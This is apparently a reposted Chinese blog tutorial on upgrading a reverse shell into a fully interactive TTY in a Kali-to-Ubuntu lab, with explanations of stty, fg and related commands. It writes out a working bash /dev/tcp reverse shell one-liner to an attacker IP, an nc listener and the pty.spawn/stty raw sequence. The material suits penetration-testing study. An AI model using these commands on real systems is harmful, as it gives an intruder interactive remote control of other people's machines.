美文网首页linux运维
反弹Shell升级为交互式Shell ——yzddMr6

反弹Shell升级为交互式Shell ——yzddMr6

作者: yzddMr6 | 来源:发表于2019-12-03 13:11 被阅读0次

    前言

    看hack the box的视频的时候,发现ippsec不喜欢用蚁剑,喜欢弹个shell回来。

    然后一顿操作把一个简单的shell就升级到了一个标准交互式shell

    写这篇文章记录一下

    正文

    攻击机:kali
    靶机:ubuntu

    首先ubuntu建一个新用户:test,密码 test

    普通Shell

    给kali弹shell

    bash -i >& /dev/tcp/192.168.145.128/4444 0>&1 
    

    kali

    nc -lvvp 4444
    

    然后发现这个shell有很多问题

    • 无法使用vim等文本编辑器
    • 不能补全
    • 不能su
    • 没有向上箭头使用历史
      等等
    image

    半交互式Shell

    对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

    python -c 'import pty; pty.spawn("/bin/bash")' 
    

    在创建完成后,我们此时就可以运行su命令了

    image

    但是还是存在很多问题

    • 无法使用vim等文本编辑器
    • 不能补全
    • 没有向上箭头使用历史

    完全交互式Shell

    命令:

    $ python -c 'import pty; pty.spawn("/bin/bash")'
    Ctrl-Z
    $ stty raw -echo
    $ fg
    $ reset
    $ export SHELL=bash
    //$ export TERM=xterm-256color
    
    image image

    此时已经拥有了一个完全交互式Shell,就可以使用上下左右,vi,tab补全等等一系列操作,并且按Ctrl-c也不会退出。


    image

    相关命令解析

    stty -echo #禁止回显,当在键盘上输入时,并不出现在屏幕上
    stty echo #打开回显
    stty raw #设置原始输入
    stty -raw #关闭原始输入
    
    bg
    将一个在后台暂停的命令,变成继续执行
    
    fg
    将后台中的命令调至前台继续运行
    
    jobs
    查看当前有多少在后台运行的命令
    
    ctrl + z
    可以将一个正在前台执行的命令放到后台,并且暂停
    
    clear
    这个命令将会刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。
     
    reset
    这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空
    

    参考链接

    https://www.freebuf.com/news/142195.html

    相关文章

      网友评论

        本文标题:反弹Shell升级为交互式Shell ——yzddMr6

        本文链接:https://www.haomeiwen.com/subject/srscgctx.html